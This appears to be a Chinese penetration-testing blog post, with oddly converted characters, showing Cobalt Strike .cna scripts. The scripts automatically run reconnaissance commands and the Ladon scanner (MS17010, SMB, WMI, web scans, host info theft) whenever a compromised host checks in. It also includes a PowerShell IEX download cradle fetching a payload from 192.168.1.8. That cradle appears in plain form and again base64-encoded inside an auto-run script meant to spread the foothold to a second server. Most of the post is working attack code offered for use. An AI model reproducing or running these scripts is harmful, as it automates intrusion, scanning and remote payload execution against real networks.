天天看點

滲透測試-CNA_Bshell程式

CS魔改拓展之.CNA

  • ​​執行CMD​​
  • ​​CS自動更新腳本​​

執行CMD

bshell($1,"whoami");      

執行多條CMD可用&符号連接配接

bshell($1,"whoami&net user&tasklist");      

也可以寫多行bshell代碼

bshell($1,"whoami");
bshell($1,"net user");
bshell($1,"ipconfig")      

來自K8的自動化Demo

#Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}       

以上代碼儲存為auto.cna檔案,

工具欄–Cobalt Strike–Script Mannge–點選Load加載auto.cna

滲透測試-CNA_Bshell程式

自動執行我們預設的指令net user

滲透測試-CNA_Bshell程式

執行Ladon

bexecute_assembly!($1, script_resource("Ladon.exe"),"MS17010");      

Ladon可自動擷取

目前機器所有網卡IP,

并掃描C段機器是否存在MS17010漏洞,

實作自動資訊擷取、漏洞掃描等 。

#Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
bexecute_assembly!($1, script_resource("Ladon.exe"),"onlinepc");
bexecute_assembly!($1, script_resource("Ladon.exe"),"ms17010");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}
      

# 執行複雜指令

對于Ladon未支援的功能,可能需複雜的多語句指令完成,

指令中的雙引号以及其它特殊字元CS轉義比較麻煩,

加上現在XP、2003系統幾乎淘汰,主流基本都是WIN7以上系統,

是以推薦大家使用PowerShell比較省事。

以CS自動更新或轉移權限為例,以下是CS的一行代碼上線指令

powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.1.8:80/a'))""      

使用LadonGui–PowerShell的Base64Command

将要執行的指令轉成base64Command,這樣可完美解決CNA腳本解析符号或轉義問題。

CS自動更新腳本

#Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
#bexecute_assembly!($1, script_resource("Ladon.exe"),"getinfo");
bshell($1,"powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AOAA6ADgAMAAvAGEAMQAxACcAKQApACIA");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}
      

目标機器上線時,将執行轉換好的powershell代碼,自動完成權限轉移

滲透測試-CNA_Bshell程式
#Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
bexecute_assembly!($1, script_resource("Ladon.exe"),"onlinepc");
bexecute_assembly!($1, script_resource("Ladon.exe"),"ms17010");
bexecute_assembly!($1, script_resource("Ladon.exe"),"smbinfo");
bexecute_assembly!($1, script_resource("Ladon.exe"),"wmiinfo");
bexecute_assembly!($1, script_resource("Ladon.exe"),"snmpscan");
bexecute_assembly!($1, script_resource("Ladon.exe"),"webscan");
bexecute_assembly!($1, script_resource("Ladon.exe"),"getinfo");
bexecute_assembly!($1, script_resource("Ladon.exe"),"cmdline");
bexecute_assembly!($1, script_resource("Ladon.exe"),"usblog");
bexecute_assembly!($1, script_resource("Ladon.exe"),"rdplog");
bexecute_assembly!($1, script_resource("Ladon.exe"),"getid");
bexecute_assembly!($1, script_resource("Ladon.exe"),"recent");
bexecute_assembly!($1, script_resource("Ladon.exe"),"netver");
bexecute_assembly!($1, script_resource("Ladon.exe"),"allver");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}
      

CS聯運Ladon收集資訊腳本

滲透測試-CNA_Bshell程式

getinfo子產品會自動收集以下資訊,是以無需bshell添加一堆指令,

當然截圖隻能截到一部分,有些功能如usblog、.net版本、最近使用檔案recent等非cmd指令擷取的資訊也在該子產品裡,

如截圖部分的擷取CPUID、硬碟ID等非cmd指令擷取,getinfo能擷取的資訊,并不全是系統自帶CMD,有些資訊自帶的格式錯亂,或者擷取不到更詳細參數。

GetInfo2子產品比getinfo多了以下功能,

繼續閱讀